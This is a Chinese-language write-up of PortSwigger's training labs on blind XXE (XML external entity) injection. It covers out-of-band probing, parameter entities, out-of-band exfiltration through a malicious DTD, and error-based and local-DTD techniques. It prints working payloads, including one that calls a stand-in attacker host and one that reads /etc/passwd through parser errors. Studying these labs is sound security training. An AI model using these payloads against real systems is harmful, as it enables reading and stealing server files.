XXE(外部实体注入)| PortSwigger(burpsuite官方靶场)| Part 2
写在前面
资源地址,相关声明,注意事项请见Part 1
Part 1
Blind XXE with out-of-band interaction(带外XXE的交互探测)
探测无效,无法进行回显,这时就只能带外探测了
让它请求外部链接(这里使用了collaborator client)
服务器尝试连接,说明探测成功。
Blind XXE with out-of-band interaction via XML parameter entities(通过 XML 参数实体进行带外交互的盲 XXE)
在一些情况下,为了防止常规实体XXE注入,对提交值进行检查,不允许使用&xxx这种东西
这时,就可以使用XML参数实体,就是在常规定义前加上%,就可以对参数实体进行声明
其次,调用直接使用%,在DTD中调用就可以,非常厉害。
payload:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
Exploiting blind XXE to exfiltrate data out-of-band(利用盲目的 XXE 将数据带外泄露)
虽然上面说了很多探测方法,但是还没有带出真正的敏感数据。
这里有一个官方小tip:
此技术可能不适用于某些文件内容,包括文件中包含的换行符/etc/passwd。这是因为一些 XML 解析器使用 API 来获取外部实体定义中的 URL,该 API 验证允许出现在 URL 中的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,不可能泄露包含换行符的数据,因此/etc/hostname可以将诸如此类的文件作为目标。
同样无回显,是盲XXE
盲注带外探测成功
在攻击服务器上放上恶意代码
这个恶意DTD首先定义敏感数据的参数实体file,然后定义一个嵌套的参数实体eval
执行%eval
会间接声明exfil,在声明时会执行file这个参数实体,将exfil的参数实体编写完成
最后执行exfil,对带外网站发出带敏感信息的get请求
这里说明一下这个思路,首先第一步定义敏感信息参数没什么问题,这里首先一个嵌套声明,就让这个敏感信息得到解析,完善了整个url,最后执行攻击参数
得到敏感HTTP交互信息,这里的hostname就是这个a966b4e42fd7
Exploiting blind XXE to retrieve data via error messages(利用盲目 XXE 通过错误消息检索数据)
常规探测,报错注入,这里就是有回显,但是显示的是错误信息。这里的报错翻译为:
XML parser exited with non-zero code 1: The markup declarations contained or pointed to by the document type declaration must be well-formed.
XML解析器以非零代码1退出:文档类型声明包含或指向的标记声明必须格式良好。
具有盲注特征
在攻击者服务器上放入恶意代码,由于是有回显的,就不需要发起敏感get请求啥的
简单说说原理,这里利用和上面一样的思路,首先定义敏感信息,然后间接声明参数实体,这个时候需要的信息就已经准备好了。最后在利用时故意使用错误路径参数。
由于报错就泄露了敏感信息。
Exploiting blind XXE by repurposing a local DTD(通过重新利用本地 DTD 来利用盲 XXE)
这种情况是在无法使用带外泄露数据时操作的,比如它现在在一个内网中,无法连接外网,我们上面的方法就无效了。但是一旦发现时错误注入,在禁止带外的情况下,我们仍然可以完成攻击。
这里它仍旧可以进行探测。(我们可以模拟现在是禁止外网的时候) 明显这里还有错误反馈,这里就是回显点。
要完成这个攻击,关键在于要定位到机器上本来就有的DTD文件。官方建议如下:
由于这种 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此关键要求是找到合适的文件。这实际上非常简单。因为应用程序会返回 XML 解析器抛出的任何错误消息,所以您只需尝试从内部 DTD 中加载本地 DTD 文件即可轻松枚举它们。
例如,使用 GNOME 桌面环境的 Linux 系统通常在/usr/share/yelp/dtd/docbookx.dtd. 您可以通过提交以下 XXE 有效负载来测试此文件是否存在,如果该文件丢失,则会导致错误:
所以,你可以将这个文件作为一个探测语句。(基本上都有这个)
<!DOCTYPE test [<!ENTITY % xxe "file:///usr/share/yelp/dtd/docboox.dtd"> %xxe; ]>
引入并执行,并没有造成影响,且定位本地文件DTD成功,可以使用这个攻击
来看看注入本身:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
总的来看,首先这里定义了两个参数,一个local_dtd,一个ISOamso,报错的原理是因为在这个自带的docbookx.dtd里面已经定义了ISOamso,你引入后又再次定义这个参数实体,最后执行这个local_dtd ,产生冲突,当然就报错了。
报错时对敏感路径进行解析,中间的注入就是和前面一样的思路